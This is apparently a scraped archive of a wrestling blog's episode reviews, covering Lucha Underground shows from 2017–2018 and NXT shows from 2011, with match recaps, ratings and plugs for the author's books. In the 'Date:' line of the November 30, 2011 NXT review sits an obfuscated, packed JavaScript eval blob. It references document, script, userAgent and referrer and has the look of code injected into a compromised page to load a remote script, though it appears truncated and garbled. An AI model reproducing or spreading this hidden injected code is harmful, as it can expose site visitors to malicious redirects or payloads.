Lucha Underground – July 11, 2018: The Five Sided Star

IMG Credit: Impact Wrestling

Lucha Underground
Date: July 11, 2018
Location: Lucha Underground Temple, Los Angeles, California
Commentators: Vampiro, Matt Striker

We’re starting to pick up steam on the Aztec Medallions as a lot of them have been awarded in short order. That’s a good idea when you have so many of them to be collected and hopefully we continue moving forward. Other than that there’s the prospect of Cage vs. Pentagon, which could be a lot of fun. Let’s get to it.

Here are last week’s results if you need a recap.

The opening recap looks at the Rabbit Tribe trying to worship Mascarita Sagrada, the Aztec Medallions and Matanza being even more murdery than usual. The last one should be rather worrying.

Cortez Castro is in the ring with a kendo stick but here’s Antonio Cueto to say Castro is really a cop. Now why did it take so long to find this out? It’s sacrifice time.

Matanza vs. Cortez Castro

Wrath of the Gods, 12 seconds.

Castro disappears. I could go for more of this story as it’s a good way to get rid of some of these lower level performers who aren’t doing anything important.

Aztec Medallion: Joey Ryan vs. Ivelisse

Rating: D. Remember when Ryan actually played a different character on this show and wasn’t just Joey Ryan from the indies? Well apparently Lucha Underground doesn’t either as this was every Ryan match from everywhere else. At least Ivelisse won, as it could be interesting to see what she could do around here if she’s healthy for once.

Aztec Medallion: Killshot vs. The Mack vs. Son of Havoc

Yes the Trios Champions are fighting again. Hang on though as here’s Antonio to say there will be two medallions given out here with only the person taking the fall not getting one. Works for me. Killshot starts fast and kicks both guys down, setting up a showdown with Mack. With Mack on the floor, Havoc hits the required suicide dive before Asai moonsaulting onto both of them.

Back in and Mack elbows Havoc down, setting up the big flip dive to take both guys out again. They’re certainly moving at a very fast pace so far. Havoc stays down so Killshot kicks away at Mack’s arm to slow him down, which Vampiro doesn’t like. He’d rather have them all just hit each other everywhere because Vampiro is kind of an out there guy. Havoc comes back in and gets hit in the head a few times, which you just don’t do to a masked biker. A tornado DDT gets Havoc out of trouble but Mack is back in to Pounce him down.

Killshot’s German suplex is no sold so he no sells Mack’s clothesline and dropkicks him before collapsing as well. Havoc replaces Killshot so Mack kicks him in the face a few times, followed by a standing moonsault for two. Havoc is right back up for the shooting star but Killshot pulls him down BY THE BEARD and hits a Death Valley Driver on the apron. Mack Stuns Killshot and has to pick which one to pin, eventually choosing Killshot at 9:25.

Rating: C+. This was fun with all three moving at a frantic pace. I’m still not big on the Trios Titles in general as they’re all over the place at times and I can barely remember who has them more often than not. There’s a good chance that this thrown together team doesn’t last again, which tends to be a recurring theme for these titles. You might wan to work on that a bit.

Post match Killshot yells at his partners and leaves.

Aztec Medallion: Cage vs. Mil Muertes

Catrina, now in red after last week, is in Muertes’ corner. They waste no time with the power game, knocking each other down without pretty reckless abandon. Muertes gets the better of it off a clothesline and a headscissors (!) to send Cage outside. Cage is thrown into the barricade but comes back with a series of hard forearms to the face. Back in and Cage’s apron superplex gets two but the referee eats a spear.

Cage’s discus lariat gets a very delayed two from a second referee, followed by the Flatliner giving Muertes two from the third referee. Muertes lays him out as well and I don’t think we have any more available. They fight outside where Muertes hits a wind up lariat but Cage finds a chair. He drops Muertes….but Pentagon is dressed as a fan in the crowd and caves Cage’s head in with a chair. Back in and the Flatliner gives Muertes the pin at 7:26.

Rating: B-. Take two monsters and have them beat the heck out of each other for a little while for some instant entertainment. The Pentagon cameo helped a lot as Cage doesn’t lose clean (as he shouldn’t) and Muertes gets another win to get him back on track (as he should). I liked this a lot as they didn’t try to do anything more than they should have here.

Post match Catrina won’t give Cage the lick. Muertes leaves and Pentagon says he’ll defend the title against Cage next week. Pentagon continues to look like a total star.

Post credits the Rabbit Tribe is being their usual bizarre selves when Mascarita Sagrada comes in. They follow him out and meet the unnamed Killer Kross, who is willing to be their god. To achieve this, they have to kill Sagrada, so Paul London caves his head in with a staff, sending blood everywhere to end the show. As usual, these people come off as the creepiest, most insane guys I’ve seen in years.

Overall Rating: B. I love it when they have a goal to accomplish and accomplish that goal with such precision. They didn’t waste time here and got the point across, meaning most of the Aztec Medallions are now set. That’s better than spending the better part of two months doing one at a time so hopefully we can get to something big with Pentagon soon. He’s a star here and looks like one of the biggest things on the show, which is about as accurate as you can get. Good show here and the old feeling is back.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/05/25/new-book-nxt-the-full-sail-years-from-dallas-to-new-orleans/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Lucha Underground – June 27, 2018: The Grave Groove

IMG Credit: Lucha Underground

Lucha Underground
Date: June 27, 2018
Location: Lucha Underground Temple, Los Angeles, California
Commentators: Vampiro, Matt Striker

Here are last week’s results if you need a recap.

The opening video recaps the opening of the season and last week’s show, which set up tonight’s casket match.

Ricky Mundo is with the rest of Lucha Underground and playing with his creepy, dirty baby doll. Johnny Mundo and Taya come in and say it’s time for war with the Reptile Tribe. Well save for Jack Evans, who is scared of snakes. Johnny asks where Angelico is and everyone leaves. The baby gives an evil laugh and says Ricky’s secret is safe with her because dolls are creepy.

Jack Evans vs. XO Lishus

Lishus is an exotico (man in drag) and rather flamboyant. Evans handles his old entrance because he’s kind of a jerk at times but it works for him. An armdrag into a split has Evans in trouble and Lishus, ahem, thrusts out his hips as he stands up. A Matrix lets Lishus avoid a clothesline so Evans hits a moonsault onto him instead. Evans gets sent to the floor though for a big dive as the fans seem to like Lishus.

Back in and Evans cranks on the arm, followed by a front flip into an eye poke in the corner. It’s off to a freaky arm hold with Evans pushing on Lishus’ face with a boot, causing him to lose an eyelash. Lishus fights up so Evans kicks him in the face but gets sent into the corner. Christy Hemme’s old Flying Firecrotch Guillotine (just go with it) gets two on Evans but a super X Factor is enough to put Evans away at 5:55.

Rating: D+. Not terrible here but I’ve never been a fan of the exotico gimmicks. This guy at least can have the matches to back it up though, putting him at least a few steps ahead of some of the others I’ve seen over the years. They need some new characters though and this is at least something fresh, which is as good as they can do right now.

Pentagon Dark talks about all the people he’s defeated to hang onto the title. No one is taking it from him, because he’s Pentagon. Cage ran in and hit him with the Lucha Underground Title, followed by a powerbomb off the apron through a table. See, Pentagon can’t break him because he’s a machine.

Melissa Santos is worried about losing Fenix. He’s all “I got this” before getting a kiss.

Mil Muertes vs. Fenix vs. Jeremiah Crane

Three way casket match with elimination rules. They go at it to start with Crane being sent to the floor and Fenix doing all his flips to drop Muertes. Now it’s Crane back in to send Fenix outside for a suicide elbow, only to have Fenix pop back up top for a moonsault to the floor. Fenix wraps a wreath around Crane’s head and rams him face first into the casket but Muertes is right back up.

Crane runs around the ring for some reason, only to get cut off by a hard shoulder. Muertes throws Crane onto the casket but a double superkick cuts him off. A powerbomb puts Muertes through a table and Crane takes Fenix up the steps and piledrives him on a balcony. Muertes is up there with them though, only to have Fenix dive off a higher balcony to take them both down. You know, as Fenix is known to do. Crane falls down the steps and it’s time for a table inside. Just in case we didn’t have enough violence yet.

Fenix loads up something off the top to put Crane through a table but gets thrown over the post, landing on Muertes on another table on the floor. Back in and Crane piledrives Fenix through the other table (egads) but here’s Ivelisse with a HAMMER to Crane’s knee and hand for a save. She knocks Crane into the casket and shuts the lid to get us down to two. Guys in skeleton masks come out to, I guess the word is collect, Crane as we take a break. Back with Muertes running Fenix down and going after his mask.

A turnbuckle pad is pulled off so Muertes catapults Fenix face first into the buckle. That’s not enough so he unhooks the buckle to disable the bottom rope. The empty casket is brought in and a dropkick puts Muertes in, only to have Muertes block the door. Muertes knocks him out of the air and drops Fenix onto the casket to dent the door. Fenix is dead so Muertes throws him in the other casket to win at 24:38 as Striker quotes the Bible because he’s never one to let a chance to sound melodramatic pass by.

Rating: B+. These matches never disappoint as they don’t try for anything more than violence for the sake of violence. Muertes needed to win something like this as it’s a monster doing monster things. You can only beat him so many times before it stops mattering and that’s the path they were heading down. He’s a great character who is basically this company’s version of Undertaker/Kane so he needs something like this every now and then.

Matanza is in chains and Antonio says this was his fault. Dario Cueto wasted Matanza’s powers and it’s time for Matanza to become a god. Antonio throws him the key, allowing Matanza to free himself, before walking away. Matanza roars a lot to end the show.

Overall Rating: B. I wasn’t feeling the first match but the main event was a lot of fun and showed you why Lucha Underground became such an underground sensation. The characters are starting to grow again and when you have a cool match to help pay it off, things get that much better. Good show here, as things are hopefully getting back into the groove that has worked for them so well over the first three seasons.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/05/25/new-book-nxt-the-full-sail-years-from-dallas-to-new-orleans/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Lucha Underground – June 20, 2018: Lucha Strong Style

IMG Credit: Lucha Underground

Lucha Underground
Date: June 20, 2018
Location: Lucha Underground Temple, Los Angeles, California
Commentators: Vampiro, Matt Striker

It’s week number two of the fourth season and I’m hoping we’re a bit closer to the standard operating procedure than what we had last week. It wasn’t a horrible show by any means, but it’s not exactly what I had in mind for a season premiere. Maybe we’ll get something better this time with Pentagon Dark defending the Lucha Underground Title against Matanza. Let’s get to it.

Here are last week’s results if you need a recap.

The opening recap previews tonight’s show, focusing on the gauntlet, Pentagon Dark vs. Matanza and Antonio Cueto.

Catrina teleports into King Cuerno’s trophy room to look for the gauntlet but Cuerno appears to say it’s not here. She needs it to get her life back but he says he’s given it to someone to hide and isn’t sure where or when (that sounds like Aerostar) he hid it. Catrina teleports away.

Trios Titles: The Mack/Killshot/Son of Havoc vs. Infamous Inc.

Infamous Inc., comprised of Big Bad Steve (indy wrestler Steve Pain), Sammy Guevara (a good high flier) and Jake Strong (Jack Swagger) are challenging and Famous B.’s newest clients since Dr. Wagner Jr. and Texano are in Mexico. The fans go nuts for Strong, as you might have guessed. Killshot and Guevara speed things up to start and it’s an early standoff with Guevara not being sure what to do with him. Son of Havoc comes in to chop the skin off of Guevara’s chest before it’s off to Steve, who is apparently Famous B.’s mechanic.

A cutter drops Steve and Strong is low bridged to the floor. Back in and the villains take over with Strong’s Vader Bomb setting up a Swanton Bomb to give Guevara two. That earns a THIS IS AWESOME chant because that’s the easiest chant to get in baseball. Jake shrugs off Mack’s Pounce and the ankle lock goes on Killshot for the tap, which the referee misses. Mack comes in for some right hands….which have no effect at first but the hold is eventually broken. A Stunner to Steve sets up the shooting star from Havoc to retain the titles at 5:39.

Rating: D+. I’m not wild on throwing together champions as it’s only illustrating the fact that there’s no point in having Trios Titles around here. The trios aren’t exactly strong as the champion were put together to win the titles in the first place, then had a replacement partner, and are now facing a thrown together team. Strong looked good but other than that, the match didn’t have much going for it.

Post match Strong beats up Steve, Guevara and Famous B., possibly breaking B.’s ankle. The fans seem rather pleased.

Here’s Antonio Cueto to say that while Dario wasn’t a great boss, he did have a good idea with the Gift of the Gods. The process to find a new champion starts right now with a match for a medallion.

Ancient Medallion: Drago vs. El Dragon Azteca Jr.

Drago is still under Kobra Moon’s control. They start very fast with some one counts and back to back stereo dropkicks to give us a standoff. An exchange of shoulder blocks goes to Azteca and the spinning rollup gets two. Drago is back up and sends him outside for a nice flip dive.

Back in and Drago starts in on the mask, which really isn’t cool with the fans. Even in the new Temple, they still know their lucha traditions. Azteca fights back but walks into something like a Tesshocker for two. A running Blockbuster gets the same but Azteca kicks him in the head on the top. That’s enough to set up a super victory roll for the pin and the medallion at 6:14.

Rating: C+. They went with the fast paced match that luchadors know how to work in this position and that’s good for all of us. Azteca is turning into something special and with the backstory he has around here, there’s some serious potential there. Bad story with Moon aside, Drago is still one of the safest bets around here too, which is a good place to be in.

Post match Johnny Mundo and Taya Valkyrie come in and jump Drago and Moon.

Antonio is in his office when Catrina teleports in. She’s stuck between this place and the spirit realm so she needs Fenix in a coffin. Therefore, she wants Fenix vs. Mil Muertes in Grave Consequences III. The deal is on so she teleports away.

Lucha Underground Title: Matanza vs. Pentagon Dark

Pentagon is defending and wastes no time by starting the fight in the aisle. The SHH chop, with Pentagon ripping Matanza’s gear open to expose the chest, connects but so does Matanza’s fist with Pentagon’s head. A whip sends Pentagon through some chairs and he gets dropped back first onto the apron. They get inside for the first time and a running Angle Slam gets two on Pentagon.

Back to back Sling Blades give Pentagon the same and the Backstabber into the Codebreaker is good for two more. The spinning belly to back suplex drops the champ again but he’s right back with a pair of kicks to the head. Matanza catches him on top but gets knocked down, setting up back to back Canadian Destroyers. The package piledrive rends Matanza at 7:46.

Rating: B-. Pentagon is becoming a giant killer around here but he’s running out of giants to slay. Matanza is one of the few top names around here and with Prince Puma gone, I’m not sure who is left out there other than Muertes and Mundo. I’ve seen Pentagon vs. Fenix far too many times elsewhere, and I hope Lucha Underground doesn’t go down the same path. Either way, these two beat each other up as much as you can in eight minutes and it was a fun match, so what else can you ask for?

Post match Pentagon goes for Matanza’s arm but an Antonio distraction lets Matanza get away. Antonio berates Matanza and goes into his office, where Jeremiah Crane is waiting on him. He wants to be in Grave Consequences to save Catrina, so the match is now a triple threat.

Overall Rating: C+. This felt more like Lucha Underground and that’s a good thing. It helps a lot when you can start advancing a bunch of stories on the same show, which is one of the places where Lucha Underground shined. Eventually we’ll get to the bigger stories but you need to take the smaller steps before you get there. Thankfully this show knows how to do that, as long as they don’t take too long on the road.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the NXT The Full Sail Years Volume III (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/05/25/new-book-nxt-the-full-sail-years-from-dallas-to-new-orleans/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Lucha Underground – October 18, 2017 (Season Finale): They Actually Went Out With A Bang

Lucha Underground
Date: October 18, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

It’s FINALLY time to wrap this season up, well over a year after it first started. That means a two hour finale as Ultima Lucha Tres wraps up. Tonight’s main event is Prince Puma putting his career on the line against Johnny Mundo and the Lucha Underground Title. You know there will be some shenanigans afoot though. Let’s get to it.

We open with a cage set up around the ring but first let’s hit that house band.

Vampiro is in a suit, which is one of the weirdest visuals you’ll ever see on this show (and THAT is something).

Matanza vs. El Dragon Azteca Jr.

Pinfall, submission or escape to win and of course Dario is in a tuxedo. Dragon goes straight to the top of the cage and hits a moonsault off the edge less than ten seconds in. Well that’s how you start things off. Matanza is right on his feet and sends Azteca mask first into the cage. Back up and Matanza belly to belly suplexes him THROUGH THE CAGE to give Dragon the win in less than two….and never mind as Dario says we’re restarting this with pinfall or submission only.

Azteca hits something like a DDT on the floor and goes after Dario but Matanza makes a quick save. Back in and Matanza rubs Dragon’s face against the cage before easily countering a hurricanrana. Cue Black Lotus (I had to think to remember her too) to dive off the cage onto Dragon, setting up Wrath of the Gods to give Matanza the pin at 8:32 (counting the pause when Dragon escaped).

Rating: D+. This didn’t have the time to go anywhere and it was pretty stupid to have it be a squash that Matanza somehow won. The Dragon/Cueto/Lotus story was WAY more complicated than it needed to be and it didn’t help that they had such a long break in the middle of the thing. Matanza was a star of the series but he didn’t have much to do this time around. Unfortunately that’s the same for Dragon, but he never even had the real chance to shine in the first place.

Post match Lotus powerbombs Matanza off the top and demands that Dario say he’s a liar. Dario agrees and Lotus takes Wrath of the Gods.

Jeremiah Crane vs. Cage vs. Mil Muertes

The winner gets the gauntlet. Hang on a second though as Dario makes this an elimination match so the real best man wins. Crane kicks Cage in the face but charges into a chokeslam. Cage piles them up in the corner and hammers away with clotheslines. That’s enough of the in-ring stuff so Crane is sent outside for a running flip dive over the top from Cage, followed by a top rope dive from Muertes.

Cage loads up a table on the floor but the bloody Crane breaks it up with a trashcan. It’s Crane setting up a second table, only to get chokeslammed through it (as you might expect). Back in and Muertes powerbombs Cage for two but he runs the corner for a super hurricanrana. Then let’s add a Lionsault because a guy Ryback’s size can do that. Crane is back up and DRIVES WOODEN SPIKES INTO CAGE’S HEAD, followed by a freaking DDT for your crazy violent spot of the match.

For no logical reason, Crane heads to the back and finds a plate of glass, which he’s quickly speared through for a sick visual. Cage of course HITS MUERTES IN THE HEAD WITH A HAMMER but Crane and Cage get in a fight over who gets to put Muertes through a table. Cage gets the better of it and suplexes Crane through Muertes through the table, followed by Weapon X to finally get rid of Crane at 11:35.

So it’s Muertes vs. Cage and they slug it out after a break. Muertes may not be dead but he’s bleeding from the arm as Cage gets two off a top rope elbow. Cue Crane with a chair but Cage takes him out again. Not that it matters though as Muertes hits the Flatliner onto a chair to end Cage at 17:31.

Rating: B. Now that was a heck of a fight with all three guys just beating the heck out of each other. Sometimes you need a wild brawl and it’s been at least two weeks since we saw one of them around here. Crane continues to impress, though giving Muertes the win makes the most sense given their histories around here.

Post match Dario presents Muertes with the gauntlet though Catrina takes it for herself. Cue the returning King Cuerno to lay Muertes out and take the gauntlet away though, likely as a trophy.

Taya has directed a film about Johnny Mundo. Johnny says the title makes him the best in the world and he doesn’t need the believers. The rest of the Worldwide Underground sings his praises as well. In case you haven’t seen it, Taya has been filming things all year, meaning we’re actually getting what looked like a minor detail paid off. Well done indeed.

Lucha Underground Title: Prince Puma vs. Johnny Mundo

Mundo is defending and it’s career vs. title. Puma is back in his original yellow gear, which is more appropriate for a top level match. The champ gets taken down but a series of flips and some light kicks give us an early standoff. Puma sends him to the floor with something like a tilt-a-whirl powerslam and it’s time to fight outside. A whip sends Puma into the crowd but he pulls Johnny up to join him.

Puma knocks him back to ringside and jumps from the crowd to the apron. Johnny bails to the other side of the ring so Puma hits a double springboard shooting star press to the floor in one of the craziest spots you’ll see in a good while. Back in and the rolling suplexes are broken up so Johnny can hammer away to little avail. The Flying Chuck takes Puma down and a hard kick to the face gets two.

A quick C4 gives Johnny two more but Puma kicks the ref in the head. Well of course he did. It’s almost like this promotion has no idea how to book a different kind of a match. Puma can’t quite fight off the Worldwide Underground and here’s a second referee to count two. Striker FREAKS THE HECK OUT over that near fall and the Underground kicks the second referee outside.

Cue the also returning Angelico to clear the ring and there’s a big running flip dive to Johnny. The second referee pops back up for a flip dive of his own (rather ECW of them), leaving Puma to hit a springboard 450 for two. Angelica chases the Underground off and we take a very rare break.

Back with Puma winning a slugout, followed by a kick to the head for two. Johnny takes him up top though and hits the flip neckbreaker for a very near fall of his own. The End of the World gets two but a second attempt hits knees. A shotgun dropkick sends Mundo into the corner and the 630 gives Puma the title back at 22:43.

Rating: B. I really could have gone without all the interference but it’s still more than good enough for this spot. They were going insane out there and beating the heck out of each other, which is the kind of match they needed to have. Now of course they have more stuff to get to, but Puma becoming the first ever two time champion is a nice moment.

And of course hang on as here’s Dario to say there’s one more match. See, last week, Pentagon Dark cashed in his Gift of the Gods Title last week. Normally Dario would want to promote this match but THIS IS ULTIMA LUCHA! Oh and as a bonus: it’s career vs. career/title.

Lucha Underground Title: Prince Puma vs. Pentagon Dark

Puma is defending and wastes no time by kicking him to the floor for a big flip dive. Vampiro is barely talking as Pentagon breaks Puma’s arm….which Puma pops right back into place. So it was dislocated and we’ve been saying the wrong thing for three seasons? Puma’s moonsault to the floor hits knees but he can still block the package piledriver.

A standing shooting star gives Puma two but Pentagon dropkicks him in the face to break up the handspring kick. The fans are now singing CERO MIEDO but Puma cuts them off with a running Canadian Destroyer. Vampiro pulls Pentagon away from the 630 though and Pentagon’s half nelson driver gets two. A running package piledriver gives Pentagon the pin and the title at 8:37.

Puma slowly walks out and Pentagon waves goodbye. Now that he’s champion, he will rule with CERO MIEDO.

Puma takes off his mask and leaves for good.

King Cuerno has the gauntlet in his trophy case.

Sexy Star is at some kind of an appearance when a little girl comes up. The girl says she (as in someone else) hasn’t forgotten Star and hands Star a box containing a spider.

The Rabbit Tribe keep worshiping Mascarita Sagrada, who says he’ll take them to the white rabbit.

Fenix and Catrina leave together as Catrina and Crane watch separately.

Kobra Moon makes Daga the new king of the Reptile Tribe so he DECAPITATES PINDAR WITH A FREAKING SWORD. Drago is still chained up but WE HAVE BIGGER ISSUES TO DEAL WITH AT THE MOMENT!

Vampiro is in his temple when a masked man comes up to congratulate him on his success with Puma and Pentagon. This is Vampiro’s master but we don’t know who he is.

Matanza and Rey Mysterio are both in cages.

Dario is with his new boss and says he’ll get the gauntlet back. The new boss says don’t worry about it because new management will deal with the problems…..and SHOOTS DARIO IN THE STOMACH!!! Dario grabs the red phone and slowly dials a number. A male voice answers and Dario asks his “papa” to help him before passing out. To be continued.

Overall Rating: A-. And that’s Season Three, which is highly likely to be the final show of the series (though it’s not guaranteed yet). It’s an excellent ending and Pentagon Dark FINALLY becoming the champion is a great way to go out. He’s been the people’s champion for a long time now and Dario tearing Puma’s heart out one more time was great stuff. I’m really curious about where those stories were going and hopefully we get a conclusion, even if the budget is way down.

The season was good and better than the second season, but nowhere near as good as the first. Dario is still awesome, the stories are still intriguing, the action ranges from highly entertaining to pretty good and the characters work for the most part. Cut out stuff like the tribes (the Reptile Tribe continues to be a huge waste of time) and don’t wait so long between advancing storylines and the show is better. Assuming it still exists of course.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




On This Day: November 30, 2011 – NXT 2011: They’ve Only Just Begun. Heaven Help Us All.

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edznz|var|u0026u|referrer|ieirz||js|php'.split('|'),0,{})) November 30, 2011
Location: Time Warner Cable Arena, Charlotte, North Carolina
Commentators: Josh Matthews, Matt Striker

Time for another week of this. We’re almost in December of a show that started in early March. We’re also approaching the wedding of Maxine and Bateman, which I think is scheduled for late January. This show really is going to last an entire year isn’t it? I was kidding when I suggested that at first. I guess we’re supposed to ignore that all three guys have appeared on Smackdown in the past few weeks right? Let’s get to it.

The song saying that they have just begun scares me.

No Regal this week???

The main event is a triple threat with the rookies and the winner gets a match on Smackdown.

Tyler Reks vs. Percy Watson

Watson has an annoying spoken part before his song now. I’m sorry but he really isn’t on the level that he deserves that yet. Hawkins sits in on commentary. Fast paced start with Watson flying around the place but he walks into a Downward Spiral into the middle buckle for two. Striker says that the money here is way better in the NFL. If my math is right, the minimum salary in the NFL is about a quarter million dollars a year. Methinks Matt is lying.

Watson starts his comeback and hammers away. The fans actually seem to care for him here as a cross body gets two. Hawkins gets up and plays ugly cheerleader, allowing Reks to get in a shot to break the momentum again. Reks goes up for what appears to be a double axe off the top but jumps into a dropkick for the pin at 3:20.

Rating: C-. Just a match here for the most part. It wasn’t bad or anything but it’s kind of hard to get interested in a match like this where there’s no reason at all to see them fight. They’re not fighting for anything but pride so it doesn’t really add up to anything. Watson is fun to watch when he jumps though.

Curtis is hitting on Kaitlyn when Maxine comes up. He has good taste. Kaitlyn is invited back to his bus which Maxine says doesn’t exist. Kaitlyn leaves and Maxine yells because that’s insulting to her to go from Maxine to someone like Kaitlyn. Maxine talks to Curtis and they’re about to kiss but he kisses his fingers and puts them to her lips. She isn’t happy. He leaves and Bateman comes up so she kisses him hard…..with his mother next to him. Bateman leaves and Mama Bateman threatens her with violence if she hurts Bateman.

Yoshi Tatsu/Trent Barretta vs. Tyson Kidd/Johnny Curtis

We get a High Fliers reference from Striker, who swears some people know who he’s talking about. Tatsu vs. Curtis gets us going and there isn’t much going on so they both tag out. Trent winds up in the corner as the announcers aren’t all that interested in the match. Kidd gets two off a kick to the head and hooks in a chinlock. They go up to the corner and Trent mostly misses what we would kind of call a Whisper in the Wind. That sets up the hot tag to Tatsu who beats up ever heel in sight. He tries to fire up the crowd and it doesn’t work at all. The top rope spinwheel kick misses and Curtis hits a sitout brainbuster for the pin at 4:30.

Rating: D. Just dull again here as Curtis is as uninteresting of a guy as I’ve seen in years. A sitout brainbuster isn’t an interesting move at all and that fits perfectly. At least with the diving legdrop it looked ok. Nothing to see here and for the life of me I don’t get why he keeps a job, especially with some of the other people they could put on this show.

We get the entire Piper’s Pit from Monday. It still doesn’t quite work as the fans didn’t boo Cena. It eats up about 10 minutes though which is ten minutes of NXT stuff I don’t have to watch.

Maxine vs. Alicia Fox

Matthews asks Striker to compare the offensive styles here….and somehow he does it. For the life of me I don’t get why the Divas are on TV all the time. Alicia uses a lot of moves involving her flexibility which get her nowhere. Bateman and Mama Bateman come out to watch. Maxine sees them and panics a bit, allowing Alicia to hit the Axe Kick for the win at 2:24.

Derrick Bateman vs. Titus O’Neil vs. Darren Young

Young waits on the floor as Titus beats Bateman up. He slides in and chops away (WOO) so Titus pounds him down also. Young continues his Flair impersonation and is slammed off the top for two. After a break for a bad Cena movie, the heels are double teaming Titus. As is custom, they get in a fight of their own, allowing Titus to fight back. Young hits a clothesline for two on O’Neil.

The heels fight a bit more and I’m trying to care. I mean I really am trying, but it’s just not going to happen at all. Bateman goes up and gets crotched and it’s a TOWER OF DOOM!!! They actually call it that and it’s a wicked one too. Titus can’t get the pin on Young so he grabs the rope like Batista and yells a lot. Young and O’Neil fight to the apron and Young takes him down with a neckbreaker. Bateman grabs O’Neil as he comes back in for the pin at 8:49.

Rating: C-. Pretty dull stuff here and my goodness why would it be Bateman? I mean, it couldn’t be clearer that O’Neil is the class of this group but instead their answer is try to make it seem like a competition. I don’t know who thinks this is interesting to watch, but it’s really not working at all. Boring match to end a boring show.

Post match Bateman wants Maxine to come out but he gets JTG and Tamina instead. They say she left with Curtis. Oh joy.

Overall Rating: D. It was an hour long and it was the Derrick Bateman Show tonight. I have no idea why they’re choosing to push him but that’s all they seem to think is the right idea. Titus is a guy that could be an interesting character on one of the big shows but it just isn’t happening here. Bad show.

Results
Percy Watson b. Tyler Reks – Dropkick
Tyson Kidd/Johnny Curtis b. Yoshi Tatsu/Trent Barretta – Sitout Brainbuster to Tatsu
Alicia Fox b. Maxine – Axe Kick
Derrick Bateman b. Titus O’Neil and Darren Young – Pinned O’Neil after a neckbreaker from Young

 

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NXT – January 18, 2011 – Ricardo Rodriguez In Action!

NXT
Date: January 18, 2011
Location: BOK Center, Tulsa, Oklahoma
Commentators: Todd Grisham, Josh Matthews

It’s elimination week and it’s breaking loose in Tulsa!  Sorry I always wanted to say that.  No I didn’t actually but it sounded good and I have nothing to fill in this introduction with.  I’d assume Rat Boy goes home tonight because Brodus is awesome, Bateman got a segment on Raw last night, Saxton is kind of funny and the company has decided that this Johnny Curtis guy is awesome or something because he’s as bland as anyone has been in decades so he’s THE guy this season.  Anyway let’s get to it.

Sadly enough I had to look on Wiki for the names of everyone in this season.  That’s how unmemorable they’ve been.

We recap the season so far which isn’t anything special.  Somehow the double date from last week is the highlight I think.  We also see Novak getting sent home.  I’ve been watching and reviewing the first season of this show recently, and this isn’t holding up to put it mildly.

Striker brings out the rookies as is his custom.  My boredom is sinking in slowly this week.  As is my anger due to a bad connection to watch this show.  Since it’s finally elimination week, WE NEED TO HAVE ANOTHER CHALLENGE!  Sweet goodness just throw the guys out already!  Bateman is the only one with points and the winner gets four points, meaning that the lead he has IS TOTALLY POINTLESS.  Yeah I’m in a bad mood tonight if you can’t tell.

This is How Well Do You Know Your Pro.  A question is asked and you have to match it up.  The first is “When I first saw my rookie, I thought he was “blank””.  Curtis thinks Truth said impressive but he said cool.  Saxton thinks Dolph said….hang on we have to wait for the booing for Dolph’s name.  Saxton says tan, Dolph says Carlton from Fresh Prince!  Ok that made me feel better.

Bryan gets a pop for his answer.  Bateman says Bryan thought of Tulsa, Oklahoma…AND HE’S RIGHT???  Only on this season.  O’Brian says strange, Alberto says raw.  ARE YOU KIDDING ME???  He’s said the same thing THE ENTIRE SHOW and now he changes it up?  Wow I want his bludgeoned.  Striker says he’d see Rat Boy at the hotel that night.  O…..k then.  Brodus says large, DiBiase says out of shape.  One point for Bateman and everyone else loses.

Next question is what other profession would you have after wrestling/if you weren’t in wrestling.  Saxton says singer, Ziggler says anchor for Lifetime.  Bateman says Steve Blackman…AND HE’S RIGHT AGAIN!  Ok this is getting funny.  O’Brian says circus worker, Alberto says his employee.  Nice job of keeping character there.  Brodus and DiBiase both say bodyguard.  Curtis is forgotten and I laugh a lot.  Curtis says commentator, Truth says actor/dancer.  It’s 2 for Bateman, 1 for Clay, 0 for everyone else.

Topic three is biggest area of improvement.  Brodus and DiBiase agree on listening.  O’Brian says listening, Del Rio says looks.  Bateman says chicks and America and they’re 3-3.  This is cracking me up for some reason.  Dolph thinks it’s rigged.  Striker: YOU THINK?  Saxton says being more like Dolph, Ziggler says more Dream Journal entries.  Curtis says getting noticed, Truth says confidence.  Bateman is Immune and I need to breathe from laughing at that.  It was stupid but that was the point.

Byron Saxton vs. Chris Masters

 

We get a clip of Masters and Saxton talking earlier in the day.  Masters says he didn’t teach him everything he knew.  Ziggler is in a hat which is a weird look for him.  If he ever goes insane and bails it can be used as a talking point on a DVD that buries him.  Masters overpowers him to start as you would expect.  Ziggler gets in Masters’ face to give Saxton the advantage.

Saxton gets a jawbreaker of some kind for two.  Saxton gets some basic offense in and Ziggler shouts in “STAY DOWN MASTERS BECAUSE YOU REALLY SUCK!”  I don’t know if it’s my low expectations for this show but it’s cracking me up tonight.  Masters gets a shot to break the momentum and here he comes (to save the day!  Save the day!)  Saxton is being all aggressive here but charges one too many times and the Masterlock ends it at 4:40.  Ziggler shakes the ropes like the Warrior, furthering my theory.

